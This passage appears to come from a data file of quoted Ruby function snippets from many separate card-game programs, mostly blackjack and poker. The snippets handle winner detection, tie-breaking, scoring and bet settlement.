the two saved \n\t\t\t\tif @combo_name_1[i][0] == \"A Straight\"\n\t\t\t\t\tif @hand_information_player_1[i]['max'] > @hand_information_player_2[i]['max'] \n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['max']\n\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\telsif @hand_information_player_1[i]['max'] < @hand_information_player_2[i]['max'] \n\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['max']\n\t\t\t\t\tend \n\t\t\t\tend \n\t\t\t\t# find winner with same high card. Itterate through all 5 cards until one is bigger (in order from highest)\n\t\t\t\tif @combo_name_1[i][0] == \"High Card\"\n\t\t\t\t\tfor k in 1..5 do\n\t\t\t\t\t\tif @hand_information_player_1[i]['vals'].sort[-k] > @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\t\t\tbreak \n\t\t\t\t\t\telsif @hand_information_player_1[i]['vals'].sort[-k] < @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend \n\t\t\t\t\tend \n\t\t\t\tend\n\t\t\t\t# find winner with same two pairs. First check each of the pair values (high to low) then check\n\t\t\t\t# the remaining cards high to low \n\t\t\t\tif @combo_name_1[i][0] == \"Two Pair\" \n\t\t\t\t\tif @hand_information_player_1[i]['pairvals'].sort[-1] > @hand_information_player_2[i]['pairvals'].sort[-1]\n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['pairvals'].sort[-1]\n\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\telsif @hand_information_player_1[i]['pairvals'].sort[-1] < @hand_information_player_2[i]['pairvals'].sort[-1]\n\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['pairvals'].sort[-1]\n\t\t\t\t\telsif @hand_information_player_1[i]['pairvals'].sort[-1] == @hand_information_player_2[i]['pairvals'].sort[-1]\n\t\t\t\t\t\tif @hand_information_player_1[i]['pairvals'].sort[-2] > @hand_information_player_2[i]['pairvals'].sort[-2]\n\t\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['pairvals'].sort[-2]\n\t\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\t\telsif @hand_information_player_1[i]['pairvals'].sort[-2] < @hand_information_player_2[i]['pairvals'].sort[-2]\n\t\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['pairvals'].sort[-2]\n\t\t\t\t\t\telsif @hand_information_player_1[i]['pairvals'].sort[-2] == @hand_information_player_2[i]['pairvals'].sort[-2]\n\t\t\t\t\t\t\tfor k in 1..3 do\n\t\t\t\t\t\t\t\tif @hand_information_player_1[i]['vals'].sort[-k] > @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\t\t\t\t\tbreak \n\t\t\t\t\t\t\t\telsif @hand_information_player_1[i]['vals'].sort[-k] < @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tend \n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend \n\t\t\t\t# find winner with same pairs, first check pair value (high to low), then itterate through all remaining cards\n\t\t\t\t# high to low \n\t\t\t\tif @combo_name_1[i][0] == \"A Pair\"\n\t\t\t\t\tif @hand_information_player_1[i]['pairvals'][0] > @hand_information_player_2[i]['pairvals'][0]\n\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['pairvals'][0]\n\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\telsif @hand_information_player_1[i]['pairvals'][0] < @hand_information_player_2[i]['pairvals'][0]\n\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['pairvals'][0]\n\t\t\t\t\telsif @hand_information_player_1[i]['pairvals'][0] == @hand_information_player_2[i]['pairvals'][0]\n\t\t\t\t\t\tfor k in 1..4 do\n\t\t\t\t\t\t\tif @hand_information_player_1[i]['vals'].sort[-k] > @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\t@tie_1[i] = @hand_information_player_1[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\t@tie_2[i] = 0\n\t\t\t\t\t\t\t\tbreak \n\t\t\t\t\t\t\telsif @hand_information_player_1[i]['vals'].sort[-k] < @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\t@tie_1[i] = 0\n\t\t\t\t\t\t\t\t@tie_2[i] = @hand_information_player_2[i]['vals'].sort[-k]\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend \n\t\t\t\t\t\tend \n\t\t\t\t\tend\n\t\t\t\tend \n\t\t\telse \n\t\t\t\t# if no tie, tie should be zero\n\t\t\t\t@tie_1[i] = 0\n\t\t\t\t@tie_2[i] = 0\n\t\t\tend\n\n\t\tend # Ends the loop for the different types of tied hands \n\n\tend", "def display_hands(player_hand, dealer_hand, dealer_turn)\n\tputs \"Debug: display_hands\" \n\n\t# show the hands\n\tputs \" Player Dealer\"\n\tputs \" ====== ======\"\n\n\t# Determine the max rows to display\n\tmax_rows = [player_hand.length, dealer_hand.length].max\n\n\tfor index in 0..max_rows-1\n\t\tdisplay_card(player_hand, dealer_hand, index, dealer_turn)\n\tend\n\n\t# Print the totals\n\tdisplay_card_total(player_hand, dealer_hand, dealer_turn)\nend", "def winner_take_hand\n from_war = @state == 'war'\n\n #save this for use in the stats display later\n @hand_played.freeze \n\n @winning_player = get_player_by_name @hand_played.try(:first).try(:owner)\n # @hand_played.each{|x| cards_played.push(x)}\n\n unless @winning_player.blank? \n # first calculate the loser's lost cards and metadata\n @cards_on_table.each do |c|\n get_player_by_name( c.try(:owner) ).in_battle\n get_player_by_name( c.try(:owner) ).lose_cards [c]\n end\n\n # winner puts all cards on table at the end of their deck, change ownership\n @winning_player.gain_cards(@cards_on_table)\n @winning_player.won_battle\n\n # reset var to empty array\n @cards_on_table = []\n end\n\n # check if all players can continue\n players.each do |p|\n player_leaves_game(p) if p.try(:cards).try(:count) < 1\n end\n\n display_battle_results\n set_game_state 'play'\n end", "def isBlackjack(dealer, player, bet)\n\n\tif dealer.getScore(dealer.hand) == 21 && player.getScore(player.hand) == 21\n\t\tputs \"Its a tie! You both got blackjack!\"\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\n\t\texit\n\telsif dealer.getScore(dealer.hand) == 21\n\t\tputs \"Blackjack! Dealer Wins!\"\n\t\tdealer.setWinnings(bet)\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\n\t\texit\n\telsif player.getScore(player.hand) == 21\n\t\tputs \"You've got a blackjack! Its the dealer's turn.\"\n\telse\n\t\treturn\n\tend\n\nend", "def dealer_turn(dealer_cards, deck)\n loop do\n break if hand_value(dealer_cards) >= DEALER_THRESHOLD\n hit(dealer_cards, deck)\n end\n puts \"\\nThe dealer has: #{cards_string(dealer_cards)}.\\n\\\ntotal: #{hand_value(dealer_cards)}\"\n puts \"The dealer busted!\" if busted?(dealer_cards)\nend", "def isBlackjack(dealer, player, bet)\r\n\t\r\n\tif dealer.getScore(dealer.hand) == 21 && player.getScore(player.hand) == 21\r\n\t\tputs \"Its a tie! You both got blackjack!\"\r\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\r\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\r\n\t\texit\r\n\telsif dealer.getScore(dealer.hand) == 21\r\n\t\tputs \"Blackjack! Dealer Wins!\"\r\n\t\tdealer.setWinnings(bet)\r\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\r\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\r\n\t\texit\r\n\telsif player.getScore(player.hand) == 21\r\n\t\tputs \"You've got a blackjack! Its the dealer's turn.\"\r\n\telse\r\n\t\treturn\r\n\tend\r\n\t\t\r\nend", "def calculate_conditions\n if hand_value(@dealer_hand) > 21\n puts \"\\ndealer busts! You WIN!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) == hand_value(@dealer_hand)\n puts \"\\nHand is a push! You get your money back\"\n elsif hand_value(@player_hand) > hand_value(@dealer_hand)\n puts \"\\nYou Win!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) < hand_value(@dealer_hand)\n puts \"HOUSE WINS. Try again\"\n @user[:balance] -= @wager\n puts \"Your new balance is $#{@user[:balance]}\"\n else\n puts \"Something went wrong\"\n end\n end", "def start_game\n @deck_current = @deck_default\n @hand_dealer = []\n @hand_player = []\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"player\")\n get_card_and_put_in_hand(\"player\")\n\n display_board_screen(true)\n\n result_player = turn_player\n\n if result_player === \"over\"\n puts \"player is over 21, press enter to continue\"\n gets\n bet_attribution(\"lose\")\n display_betting_screen(false)\n elsif result_player === \"stay\"\n result_dealer = turn_dealer\n end\n \n if result_dealer === \"over21\"\n puts \"Dealer over 21, press enter to continue\"\n gets\n bet_attribution(\"win\")\n display_betting_screen(false)\n elsif result_dealer === \"over17\"\n final_result = check_who_wins(calculate_hand_total_value(@hand_dealer), calculate_hand_total_value(@hand_player))\n if final_result === \"draw\"\n puts \"It's a draw, press enter to continue\"\n bet_attribution(\"push\")\n elsif final_result === \"player\"\n puts \"Player wins, press enter to continue\"\n bet_attribution(\"win\")\n elsif final_result === \"dealer\"\n puts \"Dealer wins, press enter to continue\"\n bet_attribution(\"lose\")\n end\n \n gets\n display_betting_screen(false)\n end\n\nend", "def determine_winner\n @active_players.sort! do |player1, player2|\n if player1.strongest_hand > player2.strongest_hand\n -1\n elsif player1.strongest_hand < player2.strongest_hand\n 1\n else\n 0\n end\n end\nend", "def display_winner(total_points, player_name, wins)\n if total_points[0] > 21\n wins[1] += 1\n msg = \"#{player_name} busted, Dealer wins!!\"\n elsif total_points[1] > 21\n wins[0] += 1\n msg = \"Dealer busted, #{player_name} wins!!\"\n elsif total_points[0] > total_points[1]\n wins[0] += 1\n msg = \"#{player_name} wins, dealer lost!!\"\n elsif total_points[0] < total_points[1]\n wins[1] += 1\n msg = \"Dealer wins, #{player_name} lost!!\" \n else\n msg = \"It's a tie!!\"\n end\n puts msg\n puts\n puts\n puts \"#{player_name} wins: #{wins[0]}\\tDealer wins: #{wins[1]}\"\nend", "def draw\n player = @round_player_order[0]\n raise 'draw called when deck empty' if @deck.empty?\n player.add_to_hand(@deck.shift)\n\n player.protected = false\n\n # Player died due to having 7\n if @minister_death && player.ministered?\n bad_hand = player.hand.map(&:to_s).join(' and ')\n\n kill_player(player)\n\n if @game_winner\n # This led to a game winner. Do nothing else.\n elsif @round_winners.size >= @round\n # We found a round winner by sole survivor.\n elsif @deck.empty?\n # Deck is empty. Time to compare cards.\n compare_cards\n else\n # Move on to the next player's turn\n draw\n end\n return [player.name, bad_hand]\n end\n\n [nil, nil]\n end", "def compare (player1, player2)\n if player1 == player2\n @winner = \"Parità\"\n else\n player1_weaknesses = universal_dictionary[player1]\n @winner = \"#{player1} batte #{player2} vince il giocatore 1\"\n player1_weaknesses.each do |weakness|\n if weakness == player2\n @winner = \"#{player2} batte #{player1} vince il giocatore 2\"\n end\n end\n end\n @winner\n end", "def winner\n row_winners = rows.select{|r| identical_symbols(r)}.map{|r| r[0]}\n column_winners = columns.select{|c| identical_symbols(c)}.map{|c| c[0]}\n diagonal_winners = diagonals.select{|d| identical_symbols(d)}.map{|d| d[0]}\n winners = (row_winners + column_winners + diagonal_winners).uniq - %w(_)\n players = winners.map{|w| to_player_number(w)}\n players[0] # this would default to nil if players is empty\n end", "def blackjack_rules\n if get_hand_value(@player_hand) > 21\n puts \"Sorry Sir, Your BUST! THE HOUSE WINS\".colorize(:red)\n elsif get_hand_value(@dealer_hand) > 21\n puts \"CONGRATULATIONS HOUSE BUSTED YOU WIN\".colorize(:yellow)\n elsif get_hand_value(@player_hand) == 21\n puts \"BLACKJACK BABY\".colorize(:light_blue)\n elsif get_hand_value(@dealer_hand) == 21\n puts \"BLACKJACK FOR THE HOUSE\".colorize(:red)\n return\n end\n\n if get_hand_value(@player_hand) == get_hand_value(@dealer_hand)\n puts \"THATS A REDRAW, HERE IS YOUR MONEY BACK\".colorize.(:red)\n elsif get_hand_value(@player_hand) > get_hand_value(@dealer_hand)\n puts \"YOU WON HOUSE LOSES, SECURITY THIS GUY IS COUNTING CARDS\".colorize(:magenta)\n elsif get_hand_value(@player_hand) < get_hand_value(@dealer_hand) \n puts \"YOU HAVE LOST AGAIN! GIVE ME THAT MULLAY PLUS A TIP PLEASE\".colorize(:red)\n else\n puts \"Sorry im not sure what happened\".colorize(:red)\n return\n end \nend", "def determine_winner(player_value, dealer_value)\r\n if player_value > 21 and dealer_value <= 21\r\n puts \"Player Busts\"\r\n return :dealer\r\n end\r\n if dealer_value > 21 and player_value <= 21\r\n puts \"Dealer Busts\"\r\n return :player\r\n end\r\n if player_value == dealer_value\r\n :push\r\n elsif player_value > dealer_value\r\n :player\r\n else\r\n :dealer\r\n end\r\n end", "def detect_result(dealer_cards, player_cards)\n player_total = card_total(player_cards)\n dealer_total = card_total(dealer_cards)\n\n if player_total > TARGET_NUMBER\n :player_busted\n elsif dealer_total > TARGET_NUMBER\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def report_winner\n\t\tif reason = won_by?(:hunter)\n\t\t\tputs \"\\n\\nHunter (#{@hunter.username}) wins (#{reason}) at turn #{@current_turn}\\n\\n\"\n\t\t\[email protected](\"GAMEOVER #{current_round} WINNER HUNTER #{reason}\")\n\t\t\[email protected](\"GAMEOVER #{current_round} LOSER PREY #{reason}\")\n\t\t\[email protected]{|s| s.puts \"GAMEOVER #{current_round} WINNER HUNTER #{reason}\"}\n\t\t\treturn {:winner => @hunter.username, :role => \"Hunter\", :time => current_round, :reason => reason}\n\t\telsif reason = won_by?(:prey)\n\t\t\tputs \"\\n\\Prey (#{@prey.username}) wins (#{reason}) at turn #{@current_turn}\\n\\n\"\n\t\t\[email protected](\"GAMEOVER #{current_round} LOSER HUNTER #{reason}\")\n\t\t\[email protected](\"GAMEOVER #{current_round} WINNER PREY #{reason}\")\n\t\t\[email protected]{|s| s.puts \"GAMEOVER #{current_round} WINNER PREY #{reason}\"}\n\t\t\treturn {:winner => @prey.username, :role => \"Prey\", :time => current_round, :reason => reason}\n\t\tend\n\tend", "def detect_result(dealer_cards_total, player_cards_total)\n if player_cards_total > WINNING_NUMBER\n :player_busted\n elsif dealer_cards_total > WINNING_NUMBER\n :dealer_busted\n elsif dealer_cards_total < player_cards_total\n :player\n elsif dealer_cards_total > player_cards_total\n :dealer\n else\n :tie\n end\nend", "def decide(dealer)\n @dealer_card = dealer.visible_card[:value]\n @card_total = hands.last.total\n if values.include?(Ace)\n if (values.include?(2) || values.include?(3)) && [5,6].include?(@dealer_card)\n :doubledown #hit\n elsif values.include?(2) || values.include?(3)\n :hit\n elsif (values.include?(4) || values.include?(5)) && [4,5,6].include?(@dealer_card)\n :doubledown #hit\n elsif values.include?(4) || values.include?(5)\n :hit\n elsif values.include?(6) && [3,4,5,6].include?(@dealer_card)\n :doubledown #hit\n elsif values.include?(6)\n :hit\n elsif values.include?(7) && [2,7,8].include?(@dealer_card)\n elsif values.include?(7) && [3,4,5,6].include?(@dealer_card)\n :doubledown #stand\n elsif values.include?(7)\n :hit\n elsif values.include?(8) || values.include?(9)\n :stand\n elsif values.first == values.last\n :split\n end\n elsif values.first == values.last\n if [2,3,7].include?(values.first) && @dealer_card <= 7\n :split\n elsif [2,3,7].include?(values.first)\n :hit\n elsif values.first == 4 && [5,6].include?(@dealer_card)\n :split\n elsif values.first == 4\n :hit\n elsif values.first == 5 && #dealer_card <= 9\n :doubledown #hit\n elsif values.first == 5 \n :hit\n elsif values.first == 6 && @dealer_card <= 6\n :split\n elsif values.first == 6\n :hit\n elsif values.first == 8\n :split\n elsif values.first == 9 && [2,3,4,5,6,8,9].include?(@dealer_card)\n :split\n elsif values.first == 9\n :stand\n elsif values.first.to_i == 10\n :split\n end\n else\n if (5...8).include?(@card_total)\n :hit\n elsif @card_total == 9 && (3...6).include?(@dealer_card)\n :doubledown #hit\n elsif @card_total == 9\n :hit\n elsif @card_total == 10 && (2...9).include?(@dealer_card)\n :doubledown #hit\n elsif @card_total == 10\n :hit\n elsif @card_total == 11 && ((2...10)+[Jack, Queen, King]).include?(@dealer_card)\n :doubledown #hit\n elsif @card_total == 11\n :hit\n elsif @card_total == 12 && [4,5,6].include?(@dealer_card)\n :stand\n elsif @card_total == 12\n :hit\n elsif (13...16).include?(@card_total) && @dealear_card <= 6\n :stand\n elsif (13...16).include?(@card_total) && (@dealer_card >= 7 || @dealer_card.is_a?(Ace))\n :hit\n elsif @card_total == 17\n :stand\n end\n end\n end", "def display_hands(players_array, players_hands, board)\n hands = []\n puts \"\"\n puts \"The players have :\"\n for i in 0...players_array.length do\n hands << [players_array[i].name, best_five_of_seven([players_hands[i][0], players_hands[i][1], board[0], board[1], board[2], board[3], board[4]])]\n puts \"- #{players_array[i].name}: #{best_five_of_seven([players_hands[i][0], players_hands[i][1], board[0], board[1], board[2], board[3], board[4]])[0]} with #{best_five_of_seven([players_hands[i][0], players_hands[i][1], board[0], board[1], board[2], board[3], board[4]])[1]}\"\n end\n puts \"\"\n\n winner = hands[0][0]\n winning_hand = hands[0][1]\n for i in 1...players_array.length do\n winning_hand = compare_two_hands(winning_hand, hands[i][1])\n winner = hands[i][0] if winning_hand == hands[i][1]\n end\n\n puts \"The winner is : #{winner} with a #{winning_hand[0]} : #{winning_hand[1]}\"\n\n end", "def play_for_trick \n if @player1.deal == true && @player2.deal == false && [email protected]?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player1.lead_card\n @player1.remove_card_from_hand(leading_card)\n puts @player1.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player2.respond(leading_card)\n @player2.remove_card_from_hand(response_card)\n puts @player1.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player2.name + \" plays the \" + response_card.card_to_string\n \n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n if winning_card == leading_card \n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n else\n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n\n if @player1.deal == false && @player2.deal == true && [email protected]?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player2.lead_card\n @player2.remove_card_from_hand(leading_card)\n puts @player2.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player1.respond(leading_card)\n @player1.remove_card_from_hand(response_card)\n puts @player2.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player1.name + \" plays the \" + response_card.card_to_string\n\n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n\n if winning_card == leading_card \n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n else\n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n end", "def blackjack_or_bust?(player_or_dealer)\n if player_or_dealer.total == BLACKJACK_AMOUNT # exit condition\n if player_or_dealer.is_a?(Dealer)\n # If it's a dealer, put this message:\n puts \"Sorry, dealer hit blackjack. #{player.name} loses.\"\n # you still have access to the name getter as long as you are in the game\n # engine, and the game engine is the Blackjack class that called this method\n else # it it hits else it's a Player:\n puts \"Congratulations, you hit blackjack! #{player.name} wins!\"\n end\n play_again? # exit program?\n elsif player_or_dealer.is_busted? # exit condition\n if player_or_dealer.is_a?(Dealer)\n puts \"Congratulations, dealer busted. #{player.name} wins!\"\n else\n puts \"Sorry, #{player.name} busted. #{player.name} loses.\"\n end\n play_again? # exit program?\n end\n end", "def bust_or_win?\n if player.total == BLACKJACK\n puts \"#{player.name} hit backjack!! #{player.name} lost, dealer lost.\"\n play_again?\n elsif player.total > BLACKJACK\n puts \"#{player.name} busted! #{player.name} lost, dealer won.\"\n play_again?\n elsif dealer.total == BLACKJACK\n puts \"Dealer hit blackjack!! #{player.name} lost.\" \n play_again?\n elsif dealer.total > BLACKJACK\n puts \"Dealer busted! #{player.name} won.\"\n play_again?\n else\n \"continue\"\n end\n end", "def settle_round\n @io.prep_round_results\n for player in @players\n for hand in player.hands\n if player.is_dealer\n @io.show_hands(player)\n else\n # This shouldn't happen unless we quit in the middle of a hand\n # or we're playing god.\n if @dealer.hand.total < 17 and not @play_god\n @dealer.hand.play(@shoe)\n end\n \n # Use total_high in case our hand is soft\n if (hand.total_high > @dealer.hand.total and \\\n not hand.is_bust) or (@dealer.hand.is_bust and \\\n not hand.is_bust)\n if hand.is_bj and not hand.is_even_money\n player.win_bet((hand.bet * BLACKJACK_PAYS) + \\\n hand.bet)\n @dealer.pay(hand.bet * BLACKJACK_PAYS)\n else\n player.win_bet(hand.bet * 2)\n @dealer.pay(hand.bet)\n end\n @io.player_wins(player, hand)\n elsif hand.total_high == @dealer.hand.total\n if hand.is_bj and hand.is_even_money\n player.win_bet(hand.bet * 2)\n @dealer.pay(hand.bet)\n @io.player_wins(player, hand)\n else\n player.win_bet(hand.bet)\n @io.player_pushes(player, hand)\n end\n else\n @dealer.win_bet(hand.bet)\n @io.player_loses(player, hand)\n end\n end\n end\n player.finish_round\n end\n\n # Check to see if player is out of money, or doesn't have min_bet\n for player in @players\n unless player.is_dealer\n if player.bankroll == 0 or player.bankroll < @min_bet\n @io.player_out_of_money(player, @min_bet)\n @broke_players[@broke_players.length] = player\n @players.delete(player)\n throw :quit if @players.length == 1\n end\n end\n end\n end", "def detect_result(dealer_total, player_total)\n # player_total = total(player_cards)\n # dealer_total = total(dealer_cards)\n\n if player_total > 21\n :player_busted\n elsif dealer_total > 21\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\n \nend", "def determine_dealers_lowest_total\n sum_of_dealers_hand = 0\n @dealer_hand.each {|x|\n card_value = @deckhash.fetch(x)\n if card_value == 1 then card_value = 11\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n }\n # ### This method returns sum of dealer's hand\n return sum_of_dealers_hand\n end", "def complete_player_hand(playerHand, dealerHand)\n \n loop do #Loop forever\n \n Console_Screen.cls #Clear the display area\n \n #Show the current state of the player and dealer's hands\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\n print \"Would you like another card? (Y/N) \"\n \n reply = STDIN.gets #Collect the player's answer\n reply.chop! #Remove any extra characters appended to the string\n\n #See if the player decided to ask for another card\n if reply =~ /y/i then\n #Call method responsible for getting a new card and add it to the \n #player's hand\n playerHand = playerHand + get_new_card\n end\n\n #See if the player has decided to stick with the current hand\n if reply =~ /n/i then\n break #Terminate the execution of the loop\n end\n \n if playerHand > 21 then\n break #Terminate the execution of the loop\n end\n \n end\n \n #Return the value of the player's hand\n return playerHand\n \n end", "def evaluate (player_total, dealer_total, playing)\n if player_total > 21\n puts \"Sorry, you went bust!\"\n elsif dealer_total > 21\n puts \"Dealer went bust, you won!\"\n elsif player_total == 21\n puts \"Blackjack!!! You win!\"\n elsif dealer_total == 21\n puts \"Dealer hit blackjack! You lose.\"\n elsif player_total > dealer_total\n puts \"You've won! Higher score than the dealer.\"\n elsif player_total < dealer_total\n puts \"Sorry, you lost. The dealer's score is higher than yours.\"\n else player_total == dealer_total\n puts \"It's a push! Your hands are tied.\"\n end\n puts \"Would you like to play another game? (yes or no response only)\"\n # again need more validation for response here\n playing = gets.chomp.downcase\nend", "def winner\n if finished?\n if fold = @hand_history.all_actions.find(&:fold?)\n winner = (fold.player == small_blind) ? big_blind : small_blind\n else\n winner = if PokerHand.new( small_blind.hole_cards + @community_cards ) > PokerHand.new( big_blind.hole_cards + @community_cards )\n small_blind\n else\n big_blind\n end\n end\n else\n nil\n end\n end", "def pl_high?\n session[:player].hand_total > session[:dealer].hand_total\n end", "def test_flush_winner_hand_one_wins\n\t\thand1 = [\"3s\", \"5s\", \"4s\", \"2s\",\"7s\"]\n\t\thand2 = [\"2d\", \"4d\", \"3s\", \"6h\",\"5d\"]\n\t\thands = {\"hand1\" => hand1,\"hand2\" => hand2}\n\t\tassert_equal(\"Player One is the winner\",hand_comparison(hands))\n\tend", "def handle_winner(p1,p2)\n winner = winner?(p1,p2)\n if winner == p1\n give_cards_to_winner(p1, p2)\n p1.take_own_hand\n elsif winner == p2\n give_cards_to_winner(p2, p1)\n p2.take_own_hand\n end\n end", "def calculate_winner players\r\n\r\n sorted_cards = @card_list.sort # sort cards in 'poker' order\r\n found=0\r\n winning_card_index=-1\r\n\r\n while found==0\r\n players.each_with_index do |player, i|\r\n # if we have the same winner twice in a row, we return the next best card (i.e. let someone else win)\r\n if sorted_cards[winning_card_index] == player.get_last_card_played\r\n if player.name==@last_winner\r\n\r\n changed\r\n notify_observers player.name,player.get_last_card_played.to_string\r\n\r\n winning_card_index=-2\r\n break\r\n else\r\n @last_winner=player.name\r\n found=1\r\n break\r\n end\r\n end\r\n end\r\n end\r\n\r\n # Switched off this observation for the moment\r\n #changed\r\n #notify_observers(sorted_cards[-1].to_string)\r\n\r\n #if sorted_cards[@winning_card_index].to_string_other.include?(\"WHITE\") then\r\n # changed\r\n # notify_observers(@last_winner,sorted_cards[@winning_card_index].to_string)\r\n #end\r\n\r\n #sorted_cards[@winning_card_index] # return best card\r\n sorted_cards[winning_card_index]\r\n\r\n end", "def detect_result(dealer_total, player_total)\n if dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def judge_winner\n\t\tif attacker.army.all_curr_hp.zero?\n\t\t\tresult.winner = defender\n\t\t\twinner = defender\n\t\telsif defender.army.all_curr_hp.zero?\n\t\t\tresult.winner = attacker\n\t\t\twinner = defender\n\t\tend\n\tend", "def update_round(type,dealer,winner,loser,hand)\n # Verify inputs\n if (dealer == nil)\n puts \"Error: Missing dealer's name\"\n return false\n end\n if (hand.empty? || hand.first.empty?) && (type==T_TSUMO || type==T_RON)\n puts \"Error: Missing hand value\"\n return false\n end\n\n dealer_flag = winner.include?(dealer)\n\n # Handle each round type\n case type\n\n when T_TSUMO\n # Tsumo type: loser = everyone else\n losers = @scores.keys\n losers -= winner\n return false if not self.award_bonus(winner.first,losers,dealer_flag)\n if dealer_flag then @bonus += 1 else self.next_round end\n score_h = Scoring.get_tsumo(dealer_flag, hand.first)\n winner.each do |w|\n @scores[w] += if dealer_flag then score_h[\"nondealer\"]*(@mode-1)\n else (score_h[\"dealer\"]+score_h[\"nondealer\"]*(@mode-2)) end\n end\n losers.each do |l|\n @scores[l] -= score_h[l==dealer ? \"dealer\" : \"nondealer\"]\n end\n\n when T_RON\n # Ron type - can have multiple winners off of same loser\n return false if not self.award_bonus(winner.first,loser,dealer_flag)\n if dealer_flag then @bonus += 1 else self.next_round end\n winner.zip(hand).each do |w,h|\n paym = Scoring.get_ron((w==dealer),h)\n @scores[w] += paym\n @scores[loser.first] -= paym\n end\n\n when T_TENPAI\n # Tenpai type: losers = all - winners\n losers = @scores.keys\n losers -= winner\n if dealer_flag then @bonus += 1 else self.next_round end\n if winner.length < @mode\n total = @mode==4 ? Scoring::P_TENPAI_4 : Scoring::P_TENPAI_3\n paym = total / losers.length\n recv = total / winner.length\n winner.each do |w|\n @scores[w] += recv\n end\n losers.each do |l|\n @scores[l] -= paym\n end\n end\n\n when T_NOTEN\n # Noten type: ignore all other params\n self.next_round\n\n when T_CHOMBO\n # Chombo type: loser = chombo player, winner = everyone else\n winners = @scores.keys\n winners -= loser\n dealer_flag = loser.include?(dealer)\n score_h = Scoring.get_chombo(dealer_flag)\n @scores[loser.first] -= if dealer_flag then score_h[\"nondealer\"]*(@mode-1)\n else (score_h[\"dealer\"] + score_h[\"nondealer\"]*(@mode-2)) end\n winners.each do |w|\n @scores[w] += score_h[w==dealer ? \"dealer\" : \"nondealer\"]\n end\n\n when T_RESET\n # Round reset: add bonus stick\n @bonus += 1\n\n else\n printf \"Invalid round result type\\n\", type\n puts nil\n return false\n end\n\n return true\n end", "def print_vs_msg(player, hand, dealer)\n print \"Player #{player.id}: \"\n \n if hand.is_blackjack\n print \"Blackjack! \"\n elsif hand.is_bust\n print 